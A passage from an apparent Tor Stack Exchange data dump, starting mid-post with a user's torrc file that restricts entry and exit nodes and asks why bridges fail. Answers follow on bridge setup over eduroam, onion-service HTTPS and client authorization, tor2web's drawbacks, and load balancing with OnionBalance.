&quot;SocksPort 0&quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA;&#xA;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &quot;.../hidden_service/hostname&quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;#RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;4 GB&quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &quot;exit enclaving&quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;&#xA;ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &quot;bridges&quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&#xA;User tor&#xA;VirtualAddrNetwork 10.192.0.0/16&#xA;TransPort 9040&#xA;TransListenAddress 172.16.1.1&#xA;DNSPort 9053&#xA;DNSListenAddress 172.16.1.1&#xA;AutomapHostsOnResolve 1&#xA;AutomapHostsSuffixes .exit,.onion&#xA;ControlPort 9051&#xA;AvoidDiskWrites 1&#xA;ClientTransportPlugin obfs2,obfs3,scramblesuit exec /usr/bin/obfsclient&#xA;&#xA;ClientOnly 1&#xA;&#xA;EnforceDistinctSubnets 0&#xA;&#xA;UseEntryGuards 1&#xA;&#xA;NumEntryGuards 8&#xA;&#xA;GeoIPExcludeUnknown 1&#xA;&#xA;StrictNodes 1&#xA;&#xA;EntryNodes AutonomyCube,AccessNow000,AccessNow001,AccessNow002,AccessNow003,AccessNow004,AccessNow005,AccessNow006,AccessNow007,AccessNow008,AccessNow009,AccessNow010,AccessNow011,AccessNow012,AccessNow013,AccessNow014,AccessNow015,AccessNow016,AccessNow017,AccessNow018,AccessNow019,DigiGesTor1e1,DigiGesTor1e2,DigiGesTor1e3,DigiGesTor1e4,DigiGesTor2e1,DigiGesTor2e2,DigiGesTor2e3,DigiGesTor2e4,orion,orilla,destiny,chulak,aurora,assk,alf,sofia,politkovskaja,lumumba,HaveHeart,hessel0,hessel1,hessel2,edwardsnowden0,edwardsnowden1,edwardsnowden2,ekumen,marcuse1,marcuse2,marylou1,marylou2,chaoscomputerclub27,chaoscomputerclub28,chaoscomputerclub29,chaoscomputerclub30,chaoscomputerclub31,chaoscomputerclub32,chaoscomputerclub33,chaoscomputerclub34,atticus,blanqui,thoreau,enjolras,luxemburg,bakunin,bakunin2,bakunin3,bakunin4,jaures,jaures2,jaures3,jaures4,DFRI0,DFRI1,DFRI3,DFRI4,DFRI5,DFRI6,DFRI7,hviv100,hviv104,hviv105,wagtail,toreffiorg,startor0fr,startor0de,startor0nl,startor0lv,startor0se,apx1,apx2,apx3,torrelay1ph3xat,torrelay2ph3xat,symphony,vikingolaf,vikinguthar,vikinghelga,vikingbjorn,tor1multisec,tor2multisec,tor3multisec,tor4multisec,tor5multisec,CalyxInstitute07,SIGAINT1,SIGAINT2,SIGAINT3,SIGAINT4,saveyourprivacyex1,saveyourprivacyexit&#xA;&#xA;ExcludeNodes Unnamed,default,kasperskytor04,37.221.171.234,tylerlockedotorg,198.58.115.210,kebab,193.142.30.66,RedOctober1917,dannenberg,193.23.244.244,dizum,194.109.206.212,Faravahar,154.35.175.225,gabelmoo,131.188.40.189,longclaw,199.254.238.52,maatuska,171.25.193.9,moria1,128.31.0.34,tor26,86.59.21.38,Tonga,82.94.251.203,{AR},{AU},{AT},{BR},{BG},{KH},{CA},{CL},{CR},{EG},{GE},{GG},{IS},{IN},{ID},{IL},{MA},{NA},{NG},{PK},{PT},{QA},{SA},{SG},{ZA},{ES},{TW},{TH},{GB},{US},{VE},{VN}&#xA;&#xA;ExcludeExitNodes {AR},{AU},{AT},{BR},{BG},{KH},{CA},{CL},{CR},{EG},{GE},{GG},{IS},{IN},{ID},{IL},{MA},{NA},{NG},{PK},{PT},{QA},{SA},{SG},{ZA},{ES},{TW},{TH},{GB},{US},{VE},{VN}&#xA;&#xA;ExitNodes AutonomyCube,85.16.128.242,85.16.128.243,85.16.128.244,85.16.128.245,AccessNow000,AccessNow001,176.10.99.200,AccessNow002,AccessNow003,176.10.99.201,AccessNow004,AccessNow005,176.10.99.202,AccessNow006,AccessNow007,176.10.99.203,AccessNow008,AccessNow009,176.10.99.204,AccessNow010,AccessNow011,176.10.99.205,AccessNow012,AccessNow013,176.10.99.206,AccessNow014,AccessNow015,176.10.99.207,AccessNow016,AccessNow017,176.10.99.208,AccessNow018,AccessNow019,176.10.99.209,DigiGesTor1e1,DigiGesTor1e2,176.10.104.240,DigiGesTor1e3,DigiGesTor1e4,176.10.104.241,DigiGesTor2e1,DigiGesTor2e2,176.10.104.243,DigiGesTor2e3,DigiGesTor2e4,176.10.104.244,orion,94.242.246.24,orilla,94.242.252.41,destiny,94.242.246.23,chulak,176.126.252.11,aurora,176.126.252.12,assk,62.102.148.67,alf,77.247.181.166,sofia,77.247.181.162,politkovskaja,77.247.181.165,lumumba,77.247.181.163,HaveHeart,77.247.181.164,hessel0,109.163.234.2,hessel1,109.163.234.4,hessel2,109.163.234.5,edwardsnowden0,109.163.234.7,edwardsnowden1,109.163.234.8,edwardsnowden2,109.163.234.9,ekumen,95.142.161.63,marcuse1,178.20.55.16,marcuse2,178.20.55.18,marylou1,marylou2,89.234.157.254,chaoscomputerclub27,77.244.254.227,chaoscomputerclub28,77.244.254.228,chaoscomputerclub29,77.244.254.229,chaoscomputerclub30,77.244.254.230,chaoscomputerclub31,217.115.10.131,chaoscomputerclub32,217.115.10.132,chaoscomputerclub33,217.115.10.133,chaoscomputerclub34,217.115.10.134,atticus,46.239.117.180,blanqui,thoreau,46.165.221.166,enjolras,81.89.96.88,luxemburg,81.89.96.89,bakunin,178.16.208.57,bakunin2,178.16.208.59,bakunin3,178.16.208.61,bakunin4,178.16.208.55,jaures,178.16.208.56,jaures2,178.16.208.58,jaures3,178.16.208.60,jaures4,178.16.208.62,DFRI0,171.25.193.20,DFRI1,171.25.193.77,DFRI3,171.25.193.235,DFRI4,171.25.193.78,DFRI5,171.25.193.25,DFRI6,171.25.193.132,DFRI7,171.25.193.131,hviv100,194.104.0.100,hviv104,192.42.116.16,hviv105,79.98.107.90,wagtail,77.109.139.87,startor0se,95.215.45.187,startor0lv,185.61.149.43,apx1,176.9.25.72,apx2,85.10.210.199,apx3,5.9.36.66,toreffiorg,212.16.104.33,saveyourprivacyex1,185.100.86.100,saveyourprivacyexit,185.100.84.82,vikingolaf,193.107.85.61,vikinguthar,193.107.85.62,vikinghelga,193.107.85.56,vikingbjorn,193.107.85.57,tor1multisec,193.90.12.86,tor2multisec,193.90.12.87,tor3multisec,193.90.12.88,tor4multisec,193.90.12.89,tor5multisec,193.90.12.90,CalyxInstitute07,82.94.251.227&#xA;&#xA;LongLivedPorts 21, 22, 80, 443, 706, 1863, 5050, 5190, 5222, 5223, 6523, 6667, 6697, 8300, 9001, 9030&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically I'm trying to use &lt;strong&gt;UseBridges 1&lt;/strong&gt; option but is not connecting to the TOR Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to put StricNodes to 0 and I got the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel safer to use Bridges but since I can't use them with this torcc config file, I'm asking you guys for help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong with my torcc config file? Why I can't use bridges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="13785" LastActivityDate="2016-07-28T15:25:46.380" Title="Problem with different functions" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12227" PostTypeId="2" ParentId="103" CreationDate="2016-07-28T11:38:28.443" Score="-2" Body="&lt;p&gt;The question was ¨Is it possible to use more nodes (then the default 3 nodes)¨&#xA;I see that it is a bad idea, so the answer is YES!..it is possible!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen it in the many many lines on the worldmap in vidalia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't know how to configure torrc between the EntryNodes and ExitNodes so that would be nice to give as an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer is yes, it is possible to have many nodes between the EntryNodes and ExitNodes.&lt;/p&gt;&#xA;" OwnerUserId="13787" LastActivityDate="2016-07-28T11:38:28.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12228" PostTypeId="1" CreationDate="2016-07-28T12:00:22.813" Score="-1" ViewCount="261" Body="&lt;p&gt;I'm trying to write a firefox extension that can automatically trigger the &quot;New Tor circuit for this site&quot; action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with writing extensions, so I' don't know where I can find the API call I'm suppose to make to launch this action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone point me to it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13788" LastEditorUserId="10096" LastEditDate="2016-07-28T15:17:49.997" LastActivityDate="2022-11-04T06:14:59.827" Title="Tor button api for extension" Tags="|firefox|tor-button|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12229" PostTypeId="2" ParentId="12226" CreationDate="2016-07-28T15:25:46.380" Score="1" Body="&lt;p&gt;Not an answer as to why your bridge configuration isn't working, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking advice from random people on the internet about how best to configure Tor isn't a substitute for proper, reasoned self-education. (Yes, I see the irony here... )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the config, I'd be worried about how much of the network the &lt;code&gt;EntryNodes&lt;/code&gt;, &lt;code&gt;ExcludeNodes&lt;/code&gt;, &lt;code&gt;ExcludeExitNodes&lt;/code&gt;, &lt;code&gt;ExitNodes&lt;/code&gt; entries are cutting out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine the reasoning for removing nodes in the US and UK, but by doing so you're potentially severely restricting the range of circuits that could be built, and in doing this certain types of attack become more of a threat. (I'm especially thinking of &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index7h1&quot; rel=&quot;nofollow&quot;&gt;traffic correlation&lt;/a&gt; attacks, where the restrictions on your entry and exit points make them potentially easier to monitor.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you're potentially making yourself stand out from the rest of the Tor crowd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything that restricts your traffic to certain areas of the Tor network is not a good thing.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-07-28T15:25:46.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12230" PostTypeId="1" AcceptedAnswerId="12232" CreationDate="2016-07-28T16:13:38.713" Score="1" ViewCount="4143" Body="&lt;p&gt;I am struggling to connect to the Tor network. I am using a university internet connect which itself requires authentication to connect to. When first connecting to the eduroam network, a user provides there login details, which triggers the download of the authentication certificate that my computer then automatically uses to connect to the network at any later date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that when connecting to Tor, I must follow all manual config (bridge and local proxy settings), however I do not know how to find the 'Proxy Type', 'Address' or 'Type'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest Mac OS X. Any help would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following screenshots show the windows I am presented with during the connection process:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M5kZz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M5kZz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final window is where I am struggling to find the correct settings for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting no proxy, give me the following error message, after an attempted connection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AcGta.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AcGta.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13790" LastEditorUserId="13790" LastEditDate="2016-07-28T18:20:13.210" LastActivityDate="2016-08-01T15:36:51.950" Title="Connect to Tor Network using 'eduroam' authenticated internet" Tags="|configuration|network-configuration|proxy|blocked-services|mac|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12232" PostTypeId="2" ParentId="12230" CreationDate="2016-07-28T16:49:30.133" Score="0" Body="&lt;p&gt;If I understand your question correctly, you should be able to find the bridges info at &lt;a href=&quot;https://bridges.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges.torproject.org&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the Tor browser if you haven't already and change the settings in the browser to connect using bridges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the steps from the link I provided and paste the bridge information it provides you into your Tor Browser. Then you should be GTG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, on that same linked page the Tor staff states another method to get bridge information: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another way to get bridges is to send an email to bridges@torproject.org. Please note that you must send the email using an address from one of the following email providers: Riseup, Gmail or Yahoo.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So even if you can get a bridge from the website you can email them directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what your network settings should look like in the Tor Browser (not the local proxy, I am using privoxy for mine): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;redacted to hide bridge info&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor settings location, click on Onion then Tor Network Settings: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nLI4h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLI4h.png&quot; alt=&quot;onion screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution using meek bridge:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;image redacted to hide meek connection info&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9508" LastEditorUserId="9508" LastEditDate="2016-08-01T15:36:51.950" LastActivityDate="2016-08-01T15:36:51.950" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="12233" PostTypeId="1" AcceptedAnswerId="12234" CreationDate="2016-07-28T17:11:29.153" Score="2" ViewCount="3588" Body="&lt;p&gt;I am new to setting up Hidden Services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my service up and running, listening on port 80, and redirecting to localhost:8080. I have my web-server anonymized and listening on port 8080 for traffic, and everything there seems to work fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is client side ssl certificates to identify and secure all access to my service. I understand how to do this process for a normal clear-net server, but am unsure how to proceed to accomplish this on a tor service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can have two Virtual Servers in Apache, each listening on localhost to different ports (8080 and 4433), and under the same HiddenServiceDir in torrc have a 2nd HiddenServicePort listening on 443 and directing https traffic to 4433, no problem, but that still allows access via a non-https version of the site. I also know that I could just kill off the standard and only publish my https version fo the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are these assumptions all correct? How would I force all traffic to https without breaking traffic coming from tor2web service?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13792" LastEditorUserId="13792" LastEditDate="2016-07-28T20:30:28.310" LastActivityDate="2016-07-29T07:36:58.510" Title="Adding Clinet SSL to HIdden Service" Tags="|onion-services|ssl|web-proxy|pre-tor-proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12234" PostTypeId="2" ParentId="12233" CreationDate="2016-07-28T17:39:10.127" Score="4" Body="&lt;p&gt;It's exactly the same excepting that no CA will sign your CSR (it'll be a self-signed certificate) and it's mostly superfluous because &lt;code&gt;.onion&lt;/code&gt; is already providing end-to-end authenticate encryption.&lt;/p&gt;&#xA;&lt;p&gt;Update to address comments and updated question:&lt;/p&gt;&#xA;&lt;p&gt;There is no difference between the approach over tor or a &lt;em&gt;danger&lt;/em&gt;net site, you'd setup something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/onion&#xA;HiddenServicePort 80 8080&#xA;HiddenServicePort 443 4433&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then configure your httpd to 301 to &lt;code&gt;https://$hostname&lt;/code&gt; for any requests on 8080, just as you would for a &lt;em&gt;danger&lt;/em&gt;net website.&lt;/p&gt;&#xA;&lt;h3&gt;HidServAuth&lt;/h3&gt;&#xA;&lt;p&gt;If you're interested in client authentication then onion services can actually provide this, depending on your requirements and the size of your userbase, this would remove the requirement for a TLS stack on the server, clients setting TLS exceptions on their browser and installing a client-side TLS certificate.&lt;/p&gt;&#xA;&lt;p&gt;To do this, you'd create a config like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/onion&#xA;HiddenServiceAuthorizeClient basic alice,bob,charlene,diane,edgar&#xA;HiddenServicePort 80 8080&#xA;HiddenServicePort 443 4433 # maybe irrelevant now?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now you'd have a file in &lt;code&gt;/var/lib/tor/onion/hostname&lt;/code&gt; that'd look like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;w27mu53v64gcpfru.onion Bq1T05QWOWhZG5/EN5oqfQ # client: alice&#xA;w27mu53v64gcpfru.onion n5I/fRj05aQG/2gqy1KC3g # client: bob&#xA;w27mu53v64gcpfru.onion rN+OCpC5ntgDGnCW0Quxpw # client: charlene&#xA;w27mu53v64gcpfru.onion 0K5Fd2zOiSo/Fc0t7YYgPQ # client: diane&#xA;w27mu53v64gcpfru.onion fu2LxUfA5QWxuC5PgEDSaQ # client: edgar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now you give each user their &amp;quot;cookie&amp;quot;, no one can access the hidden service without a valid &amp;quot;cookie&amp;quot;. Alice, for example, would edit her &lt;code&gt;torrc&lt;/code&gt; to include this line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HidServAuth w27mu53v64gcpfru.onion Bq1T05QWOWhZG5/EN5oqfQ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now Alice can use &lt;code&gt;w27mu53v64gcpfru.onion&lt;/code&gt; as normal, and you'd know that the visitor was authorized because without their cookie they'd be unable to connect. If at any time you want to revoke access, you can remove Alice from the client list in the &lt;code&gt;HiddenServiceAuthorizeClient&lt;/code&gt; line and reload tor to invalidate their cookie.&lt;/p&gt;&#xA;&lt;p&gt;This is &amp;quot;&lt;code&gt;basic&lt;/code&gt;&amp;quot; authorization for onion services, there is a further &amp;quot;&lt;code&gt;stealth&lt;/code&gt;&amp;quot; but it does not scale anywhere near as well as &amp;quot;&lt;code&gt;basic&lt;/code&gt;&amp;quot; because it published a descriptor for every client, each client uses a different &lt;code&gt;.onion&lt;/code&gt; address to access the site too. It might be of interest if your userbase is small and high risk or high security. It also has some interesting extra security properties too, but it's going a bit beyond just replacing client-side TLS certificates.&lt;/p&gt;&#xA;&lt;h3&gt;tor2web&lt;/h3&gt;&#xA;&lt;p&gt;&amp;quot;tor2web&amp;quot; is an SSL MITM. You make an https request to tor2web, it makes an http request to the .onion, it proxies the response back to you. It would follow a 301 to an https address but it would fail when it encountered a self-signed, or otherwise &amp;quot;untrusted&amp;quot; TLS cert.&lt;/p&gt;&#xA;&lt;p&gt;In your case this would present problems.&lt;/p&gt;&#xA;&lt;p&gt;Firstly the client certificate, if used, would be served to tor2web and wouldn't be carried to your httpd, it would break client cert based authentication.&lt;/p&gt;&#xA;&lt;p&gt;Secondly the HidServAuth wouldn't work, tor2web wouldn't be able to connect to the .onion as it wouldn't have the required authorization cookie.&lt;/p&gt;&#xA;&lt;p&gt;Thirdly tor2web represents the security anti-pattern of &amp;quot;SSL Added and Removed Here :¬)&amp;quot;, tor2web can, and must, see all of the activity performed through it. Infact facebooks onion service explicitly recommends &lt;em&gt;against&lt;/em&gt; tor2web for this very reason, as you can see from this example request:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ curl https://facebookcorewwwi.onion/ -H 'x-tor2web: 1'&#xA;Using Facebook over Tor2web (or other SSL-intermediaries) is a bad idea; by using such services you may expose your account details to the service provider and thereby risk interception or account theft. Please instead connect to Facebook in a normal way.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;x-tor2web&lt;/code&gt; header is the header that tor2web &lt;em&gt;should&lt;/em&gt; send to indicate it's in use, but it doesn't &lt;em&gt;have&lt;/em&gt; to send it. You can use this header to detect it's use and handle it appropriately.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-07-29T07:36:58.510" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12235" PostTypeId="2" ParentId="13" CreationDate="2016-07-28T18:53:01.273" Score="4" Body="&lt;p&gt;Running multiple Tor instances with the same private key will not provide reliable load balancing as normally only one instance descriptor is listed in the Tor hidden service DHT at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I've created a tool named &lt;a href=&quot;https://onionbalance.readthedocs.io/en/latest/&quot; rel=&quot;nofollow&quot;&gt;OnionBalance&lt;/a&gt; which allows Tor hidden services to be load balanced at the Tor protocol level. By working at the Tor level, hidden service requests can be distributed between up to 60 back end Tor instances while removing single points of failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OnionBalance works analogously to round-robin DNS for Tor where OnionBalance is updates the  A records. However the actual implementation is quite Tor protocol specific. The DNS system is not involved at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple instances of OnionBalance with the same configuration and keys can be run simultaneously. By running instances in separate physical locations you can have fully redundant Tor onion service hosting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a traditional load balancer like HAProxy behind a Tor hidden service will be limited by the rate of traffic through the single core Tor process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OnionBalance is now available in the Debian Jessie backports repository so it should be easy to get started 